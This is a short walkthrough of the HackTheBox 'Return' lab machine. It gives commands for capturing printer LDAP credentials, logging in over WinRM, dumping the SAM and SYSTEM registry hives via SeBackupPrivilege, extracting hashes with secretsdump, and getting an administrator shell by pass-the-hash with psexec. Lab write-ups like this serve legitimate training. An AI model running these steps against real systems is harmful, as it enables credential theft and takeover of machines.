Return writeup & walkthrough

Return is an easy HackTheBox Windows machine where the printer configuration page leaks LDAP credentials by sending them to an attacker-controlled server. WinRM access reveals SeBackupPrivilege which is abused to dump the SAM and SYSTEM hives, extracting the administrator hash for a pass-the-hash psexec shell.

HackTheBox - Return

Access Path

no access => svc-printer => Administrator

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level.

Command Flow

These notes preserve the original command sequence while grouping it in a command block for cleaner rendering.

nmap -sC -sV <ip>
# Open: 80 HTTP (printer admin panel), 5985 WinRM

# ─── Initial Access: Printer Credential Theft ──────────────────────────────────

# The printer web panel at printer.return.local sends LDAP credentials
# on save - point it to our IP and catch the cleartext password with nc
# we open that website
# we get the pritner creds
# winrmm => SeBackupPrivilege

# Login via WinRM with captured credentials
evil-winrm -i $IP -u $user -p $pass

# ─── Privilege Escalation: SeBackupPrivilege → SAM Dump ────────────────────────

# SeBackupPrivilege allows reading any file - dump registry hives
reg save hklm\system C:\Users\[USER]\Desktop\system.hive
reg save hklm\sam C:\Users\[USER]\Desktop\sam.hive

# Download hives locally and extract hashes
secretsdump.py -sam sam.hive -system system.hive LOCAL

# Pass-the-hash as administrator
psexec.py -hashes p1:p2 administrator@$IP